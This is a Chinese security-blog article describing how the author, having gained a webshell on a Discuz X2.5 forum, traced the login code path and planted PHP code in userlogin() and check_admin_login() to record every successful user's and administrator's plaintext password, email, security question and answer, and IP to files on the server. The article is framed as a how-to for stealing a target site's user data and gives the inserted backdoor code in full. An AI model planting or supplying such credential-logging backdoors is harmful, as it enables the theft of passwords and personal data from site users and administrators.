教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答

admin 2021年7月27日02:51:19评论50 views字数 7628阅读25分25秒阅读模式

教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答

最近碰到个discuz X2.5论坛,通过旁注拿到了webshell,但目标是要拿到这个discuz论坛的用户资料(包括密码)。初步想法是在discuz的代码里动下手脚,找到用户登录成功代码,然后加段代码将成功认证的用户密码等信息写到一个文件上去。下面逐步作记录。

第一个任务是截取论坛用户成功认证的登录密码。版本:discuz X2.5最新版
----begin---------------------------------------------------------------------------------------------------------------------
搭建环境完毕,用admin正常用户登录,抓个包看看:
POST /bbs/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1
内容:
fastloginfield=username&username=admin&password=admin888&quickforward=yes&handlekey=ls
先从member.php开始看。三个核心的基础类:
------------------------------------------------------------------------------------------------------------------------------
基类:discuz_base(sourceclassdiscuzzdiscuz_base.php)            虚类,定义一些基础操作:get,set,call等
|
|  discuz_application继承discuz_base
|
discuz_application(sourceclassdiscuzzdiscuz_application.php)    核心:环境变量、数据库、设置、用户设置、输入过滤、输出等
|
| 虽然不是继承,但其直接由discuz_application生成:self::$_app = discuz_application::instance();
|
core(sourceclassclass_core.php)                                  再做一些封装,导入一些需要的库
------------------------------------------------------------------------------------------------------------------------------
一开始不要绕进这些类去,大概看下结构后,还是顺着主脉络走:
$discuz = C::app();   #建core类
$discuz->init();      #调用了discuz_application的init(),初始化了user、db、session等大量东西

之后require了三个文件:
require libfile('function/member');                       #/source/function/function_member.php,关键函数userlogin()
require libfile('class/member');                          #/source/class/class_member.php,关键函数on_login(),on_login()经大量验证后最终调用userlogin()
require /source/module/member/member_'.$mod.'.php';       #/source/module/member/member_logging.php,调用class_member的on_login()

这里的关键在member_logging.php,是用户认证的启动代码

$ctl_obj = new logging_ctl(); #new了一个class_member对象,DISCUZ_ROOT/source/class/class_member.php
$ctl_obj->setting = $_G['setting'];
$method = 'on_'.$_GET['action'];
$ctl_obj->template = 'member/login';
$ctl_obj->$method(); #调用class_member的on_login()

所以,用户的认证代码在/source/class/class_member.php的on_login()。
理下脉络:
------------------------------------------------------------------------------------------------------------------------------
member.php->member_logging.php->class_member的on_login()
------------------------------------------------------------------------------------------------------------------------------
on_login()中,经过大量验证后,调用了source/function/function_member.php的userlogin()函数:
$result = userlogin($_GET['username'], $_GET['password'], $_GET['questionid'], $_GET['answer'], $this->setting['autoidselect'] ? 'auto' : $_GET['loginfield'], $_G['clientip']);

userlogin又继续调用uc的uc_user_login(uc_clientclient.php)
$return['ucresult'] = uc_user_login(addslashes($username), $password, $isuid, 1, $questionid, $answer, $ip);

uc_user_login实际是调用了用户自定义函数的宏UC_API_FUNC,后面是这个用户自定义函数的参数:
$return = call_user_func(UC_API_FUNC, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));

宏UC_API_FUNC在uc_clientclient.php中定义为:
define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');

uc_api_mysql也在uc_clientclient.php中定义,uc_api_mysql($model, $action, $args=array()),所以最终相当于调用了:
uc_api_mysql(user,login,('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer)));

而uc_api_mysql最终是调用uc_clinet/control/user.php的on_login()函数:
return $uc_controls[$model]->$action($args);#调用uc_clinet/control/user.php中的on_login()

至此进入了最底层的用户认证核心函数,回溯下主脉络
-------------------------------------------------------------------------------------------------------------------------------
member.php -> member_logging.php -> class_member(on_login()) -> function_member.php的userlogin() -> client.php(uc_user_login())
-> call_user_func(UC_API_FUNC) -> uc_api_mysql() -> uc_clinet/control/user.php(on_login())
-------------------------------------------------------------------------------------------------------------------------------

从uc_clinet/control/user.php的on_login()获得几个信息:
1、其又调用了uc_clinet/model/user.php的get_user_by_username($username),这个函数最终封装了数据库查询;
2、discuz用户密码加密的方式为:md5(md5(password).$user['salt']),其中的salt由substr(uniqid(rand()), -6)生成(取了随机数转换为微秒的末尾6位)。每个用户的salt都存在uc的member表中。
3、on_login()最后返回:array($status, $user['username'], $password, $user['email'], $merge),其中的$status是关键,成功认证的,这个$status就是用户uid,否则是负数。

至此整个认证分析流程走完。下面的工作就比较简单了,选择适当的节点,把成功认证的用户信息写到一个服务器文件中。
可选的地方非常多,随手挑一个节点:source/function/function_member.php的userlogin()。看具体代码:


教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答

登录完成后,程序检测返回数组中的sataus是否为合法的用户uid,是就登录成功。所以在以上代码片段的第57行插入写服务器文件代码即可。
随便列一段插入的代码:
#---------------------------------------------------------code--------------------------------------------------------------------------------
$loversorry=$tmp['uid'].'|'.$tmp['username'].'|'.$password.'|'.$tmp['email'].'|'.$questionid.'|'.$answer.'|'.date('Y-m-d H:i:s',time()).'|'.$ip;
$fp=fopen(DISCUZ_ROOT.'./source/loversorry.php','a+');
fputs($fp,$loversorry);
fclose($fp);

#---------------------------------------------------------code--------------------------------------------------------------------------------
教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答
测试比较成功,仅记录成功登录的用户信息。


下面进入第二个任务,在服务器上单独再写个文件,只记录成功认证的管理员用户信息。
----begin---------------------------------------------------------------------------------------------------------------------
经过上面的分析,接下来的工作应该比较简单了。还是走老路子,管理员账户登录后,点管理中心,然后截个包看看:

----admin.php抓包-------------------------------------------------------------------------------------------------------------
POST /bbs/admin.php? HTTP/1.1

Cookie: IvGn_2132_auth=4dfdu3TI9rhGBlQUg1Jcr7aSeYa9odVMel4nO%2BiLwLZFI1zY5458zA8fHZxA%2B0Gz%2BsB8rs%2BTBJlHodlqqubF; IvGn_2132_sid=k6Oyks; IvGn_2132_saltkey=mVSQqAFp; IvGn_2132_lastvisit=1346566711; IvGn_2132_lastact=1346675125%09admin.php%09; IvGn_2132_ulastactivity=ffb5EwgsIOdAWKb8EH01C49rIXhRNV54qFnLJ1AQZ2gNspuWk8Gq; IvGn_2132_lastcheckfeed=1%7C1346675022; IvGn_2132_sendmail=1; IvGn_2132_nofavfid=1; IvGn_2132_onlineusernum=1

sid=k6Oyks&frames=yes&admin_password=admin888&admin_questionid=0&admin_answer=&submit=%E6%8F%90%E4%BA%A4
----admin.php抓包-------------------------------------------------------------------------------------------------------------

由于在登录管理中心的时候,没有输入用户名,所以我把cookie内容也附上,可以看出cookie中也没有用户名,所以判断用户名肯定是存在之前认证的全局变量里了,打开admin.php开始分析。
有了前期的基础,看起来就比较简单了,直接锁定到27行处:
$admincp = new discuz_admincp();
$admincp->core  = & $discuz;
$admincp->init();
再往下面看看,没有什么实质内容了,基本可以判断核心认证应该在discuz_admincp(sourceclassdiscuzdiscuz_admincp.php)这个类中。
果然不出所料,管理中心认证的水龙头就由$admincp->init()开启。下面直接列出脉络了:
-------------------------------------------------------------------------------------------------------------------------------
admin.php(discuz_admincp->init()) -> discuz_admincp.php(check_cpaccess()) -> discuz_admincp.php(check_admin_login()) ->
uc_clientclient.php(uc_user_login())
-------------------------------------------------------------------------------------------------------------------------------
不出所料,果然殊途同归了,又到了uc_clientclient.php(uc_user_login()),下面就没有必要再继续分析了。直接在discuz_admincp.php的check_admin_login()中加以下代码就行了。
#---------------------------------------------------------code--------------------------------------------------------------------------------
$himylife=$this->adminuser['uid'].'|'.$this->core->var['username'].'|'.$_POST['admin_password'].'|'.$_POST['admin_questionid'].'|'.$_POST['admin_answer'].'|'.date('Y-m-d H:i:s',time()).'|'.$this->core->var['clientip'];
$fp=fopen(DISCUZ_ROOT.'./source/admin.php','a+');
fputs($fp,$himylife."rn");
fclose($fp);

#---------------------------------------------------------code----------------------------------
教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答

这里有两个注意点:
1、直接加在$ucresult[0] > 0之后,因$ucresult[0]就是用户uid,用户认证错误,这里的uid会被赋为负值,参照前面的分析。
2、用户名信息直接从全局变量$this->core->var['username']中提取。其他没有什么新意。

这个步骤测试结果也很理想。

教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答

本文始发于微信公众号(T00ls):教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月27日02:51:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答https://cn-sec.com/archives/351425.html

发表评论

匿名网友 填写信息